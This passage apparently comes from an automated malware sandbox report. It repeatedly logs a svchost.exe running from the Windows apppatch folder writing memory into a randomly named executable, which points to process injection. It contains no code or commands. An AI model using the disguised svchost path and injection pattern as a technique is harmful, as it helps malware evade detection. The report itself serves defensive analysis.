Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 800000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 801000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 802000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 852000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 760000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 761000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 762000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 7B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1310000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1311000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1312000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1362000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C40000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C41000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 820000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 821000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 822000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 872000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A70000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A71000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A72000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AC2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1040000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1041000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1042000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1092000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 11C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1212000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1500000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1501000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1502000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1552000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1420000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1421000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1422000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1472000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1550000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1551000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1552000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 770000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 771000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 772000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 7C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DB0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DB1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: DB2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E02000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BF2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: C42000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1460000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1461000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1462000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14B2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10F0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10F1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1142000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 800000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 801000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 802000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 852000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A10000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A11000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A12000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: A62000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 12A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 12A1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 12A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 12F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: F90000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: F91000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: F92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: FE2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1120000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1121000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1122000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1172000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B50000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B51000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: B52000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13A1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 10C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1112000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: FB0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: FB1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: FB2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1002000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: D20000Jump to behavior
